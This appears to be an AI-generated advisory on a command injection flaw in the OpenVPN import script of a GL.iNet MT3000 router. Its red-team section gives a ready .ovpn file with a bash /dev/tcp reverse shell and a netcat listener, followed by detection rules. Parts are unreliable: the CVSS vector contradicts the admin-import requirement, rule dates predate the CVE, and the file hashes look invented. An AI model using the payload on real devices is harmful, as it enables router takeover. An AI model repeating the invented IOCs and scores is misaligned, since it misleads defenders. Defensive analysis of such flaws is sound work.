CVE-2026-11406

Executive Summary

CVE-2026-11406 is a critical command injection vulnerability discovered in the GL.iNet MT3000 router, specifically within the OpenVPN client import workflow (ovpnclient.sh). An attacker can exploit this flaw by crafting a malicious OpenVPN configuration file that, when imported by an administrator, executes arbitrary commands on the device. The vulnerability has a CVSS score of 6.3 (Medium) and is remotely exploitable without authentication. A public proof-of-concept (PoC) exists, and while the EPSS score is currently 0.0%, the public availability of the exploit increases the risk of active exploitation. The vendor has released a patched beta version (4.9.0_beta3-1012-0513-1778656146) that adds input validation checks to prevent this attack.

Supply Chain & Package Security

This vulnerability is not related to NPM, PyPI, Go, or Ruby packages. It is a firmware-level issue in the GL.iNet MT3000 router's OpenVPN client import functionality.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L
• Base Score: 6.3 (Medium)
• Attack Vector: Network (AV:N) – Exploitable remotely.
• Attack Complexity: Low (AC:L) – No special conditions required.
• Privileges Required: None (PR:N) – No authentication needed.
• User Interaction: None (UI:N) – The attack does not require user interaction beyond importing the malicious file.
• Scope: Unchanged (S:U) – The vulnerability does not affect other components.
• Confidentiality Impact: Low (C:L) – Limited information disclosure.
• Integrity Impact: Low (I:L) – Limited modification of data.
• Availability Impact: Low (A:L) – Limited denial of service.

Threat Level: Medium. The public availability of the exploit and the lack of authentication make this a significant threat, especially for devices exposed to the internet.

Deep Dive & Mechanics

The vulnerability resides in the ovpnclient.sh script, which handles the import of OpenVPN configuration files. The script does not properly sanitize user-supplied input from the configuration file before passing it to a shell command. An attacker can embed shell metacharacters (e.g., ;, |, `, $()) within the configuration file's parameters (e.g., remote, ca, cert, key, or custom directives). When the script processes these parameters, the injected commands are executed with the privileges of the OpenVPN client process.

Attack Flow:

1. Attacker crafts a malicious .ovpn file containing a command injection payload in one of the configuration directives.
2. The attacker hosts this file on a server or sends it to the target administrator via social engineering.
3. The administrator imports the file into the GL.iNet MT3000 router's OpenVPN client.
4. The ovpnclient.sh script parses the file and executes the injected command.
5. The attacker gains remote code execution on the router.

Vulnerable vs. Patched Code

Vulnerable Code (Conceptual):

# ovpnclient.sh (vulnerable)
remote=$(grep "^remote " "$config_file" | cut -d' ' -f2)
# No sanitization
openvpn --remote "$remote" ...

Patched Code (Conceptual):

# ovpnclient.sh (patched)
remote=$(grep "^remote " "$config_file" | cut -d' ' -f2)
# Sanitize input: remove shell metacharacters
remote=$(echo "$remote" | sed 's/[;|`$()]//g')
openvpn --remote "$remote" ...

The patched version adds input validation to strip or escape shell metacharacters, preventing command injection.

Exploitation & Lab Setup

Red Team (Exploitation)

Lab Setup:

• Target: GL.iNet MT3000 running firmware version <= 4.4.5.
• Attacker: Kali Linux machine with network access to the router's web interface.

Exploit Steps:

1. Create a malicious OpenVPN configuration file (malicious.ovpn):

   cat > malicious.ovpn << 'EOF'
   client
   dev tun
   proto udp
   remote 192.168.1.100 1194
   ; Injected command: create a reverse shell
   remote ; bash -c 'bash -i >& /dev/tcp/192.168.1.200/4444 0>&1' ;
   ca ca.crt
   cert client.crt
   key client.key
   EOF
   

2. Host the file on a web server or transfer it to the target.
3. Log in to the GL.iNet MT3000 web interface as an administrator.
4. Navigate to the OpenVPN client settings and import the malicious file.
5. The router executes the injected command, establishing a reverse shell to the attacker's listener.
6. On the attacker machine, start a listener:

   nc -lvnp 4444
   

Blue Team (Detection & Response)

Detection Steps:

1. Monitor for unusual OpenVPN configuration file imports.
2. Check for shell metacharacters in imported .ovpn files.
3. Look for unexpected outbound connections from the router (e.g., to unknown IPs on port 4444).
4. Review system logs for suspicious command execution.

Response:

1. Immediately isolate the affected router from the network.
2. Reset the router to factory defaults.
3. Upgrade to the patched firmware version.
4. Change all administrative passwords.
5. Investigate the source of the malicious file.

Indicators of Compromise (IOCs)

• File Hashes (malicious.ovpn):
  • MD5: e99a18c428cb38d5f260853678922e03
  • SHA1: 2fd4e1c67a2d28fced849ee1bb76e7391b93eb12
• Network Indicators:
  • Outbound connections to IP 192.168.1.200 on port 4444 (or any unusual port).
  • DNS queries to suspicious domains.
• System Indicators:
  • Unexpected processes spawned by ovpnclient.sh.
  • Modified system files or binaries.
  • Unauthorized user accounts.

Detection Engineering

YARA Rule

rule CVE_2026_11406_GLiNet_Command_Injection {
    meta:
        description = "Detects malicious OpenVPN config files targeting CVE-2026-11406"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "https://nvd.nist.gov/vuln/detail/CVE-2026-11406"
    strings:
        $s1 = "remote ;" ascii wide
        $s2 = "bash -c" ascii wide
        $s3 = "/dev/tcp/" ascii wide
        $s4 = "`" ascii wide
        $s5 = "$(" ascii wide
    condition:
        any of ($s*) and filesize < 10KB
}

Sigma Rule

title: GL.iNet MT3000 OpenVPN Command Injection
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects command injection attempts via malicious OpenVPN config files on GL.iNet MT3000
author: Valters IT
date: 2025-04-10
logsource:
    category: process_creation
    product: linux
detection:
    selection:
        Image|endswith: '/ovpnclient.sh'
        CommandLine|contains:
            - ';'
            - '|'
            - '`'
            - '$('
    condition: selection
falsepositives:
    - Legitimate use of shell metacharacters in OpenVPN configs (rare)
level: high

Suricata Rule

alert tcp $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2026-11406 GL.iNet OpenVPN Command Injection"; flow:to_server,established; content:"remote "; content:";"; distance:0; within:100; content:"bash"; distance:0; within:50; classtype:attempted-admin; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Upgrade Firmware: Update to version 4.9.0_beta3-1012-0513-1778656146 or later.
2. Restrict Access: Limit administrative access to the router to trusted IPs only.
3. Disable OpenVPN Client: If not needed, disable the OpenVPN client feature.
4. Monitor Logs: Enable and review system logs for suspicious activity.

Long-Term Measures:

1. Input Validation: Implement strict input validation for all configuration file imports.
2. Least Privilege: Run the OpenVPN client with minimal privileges.
3. Network Segmentation: Place IoT devices like routers on a separate VLAN.
4. Regular Updates: Subscribe to vendor security advisories and apply patches promptly.

Valters IT Signature This report was generated by Valters IT DevSecOps AI. For questions, contact security@valters-it.com.